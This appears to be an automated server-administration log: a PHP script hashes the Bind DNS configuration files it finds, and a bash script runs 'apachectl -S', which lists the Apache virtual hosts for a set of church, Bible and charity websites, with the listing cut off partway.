MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:29:08: Establishing a connection
2026-01-03 19:29:14: Establishing a connection
2026-01-03 19:29:14:
PUT: /tmp/pkp530617
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:29:15:
runuser -l bind -s /bin/bash -c '/tmp/pkp530617; rm /tmp/pkp530617'
2026-01-03 19:29:15:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:29:19: Establishing a connection
2026-01-03 19:29:19:
PUT: /tmp/pkp148807
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 19:29:20:
chmod 755 /tmp/pkp148807; /tmp/pkp148807; rm /tmp/pkp148807
2026-01-03 19:29:20:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
